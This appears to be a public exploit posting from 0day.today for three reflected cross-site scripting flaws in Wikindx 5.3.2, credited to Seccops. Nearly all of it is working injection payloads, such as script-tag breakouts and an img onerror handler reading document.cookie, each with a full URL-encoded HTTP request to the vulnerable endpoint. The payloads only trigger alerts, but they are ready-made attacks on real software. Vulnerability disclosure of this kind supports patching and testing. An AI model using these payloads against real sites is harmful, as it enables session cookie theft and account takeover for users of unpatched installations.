Wikindx 5.3.2 Multiple Cross-Site Scripting Vulnerability

# Exploit Title: Wikindx 5.3.2 Multiple Cross-Site Scripting
# Exploit Author: Seccops (https://seccops.com)
# Vendor Homepage: http://wikindx.sourceforge.net/
# Software Link: https://sourceforge.net/projects/wikindx/files/latest/download
# Version: 5.3.2
# Tested on: Windows 10
# Vulernability Type : Cross-site Scripting
# CVE: -
 
Vulnerability: http://localhost/we/wikindx/index.php
 
Payload: '"--></style></scRipt><scRipt>alert(document.cookie)</templates/default/icons/help.png
 
HTTP Request:
GET /we/wikindx_5.3.2/wikindx/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(document.cookie)%3C/scRipt%3E HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
 
---------------------
 
Vulnerability: http://localhost/we/wikindx_5.3.2/wikindx/index.php?action=noMenu&method=
 
Payload: "><iMg src=i onerror=alert(document.cookie)>
 
HTTP Request:
GET /we/wikindx_5.3.2/wikindx/index.php?action=noMenu&method=%20%22%3E%3CiMg%20src=N%20onerror=alert(document.cookie)%3E HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
 
------------------------
 
Vulnerability: http://localhost/we/wikindx_5.3.2/wikindx/core/tiny_mce/plugins/wikindxCite/dialog.php/
 
Payload: '"--></style></scRipt><scRipt>alert(0x004926)</scRipt> 
 
HTTP Request:
GET /we/wikindx_5.3.2/wikindx/core/tiny_mce/plugins/wikindxCite/dialog.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004926)%3C/scRipt%3E HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

#  0day.today [2018-10-03]  #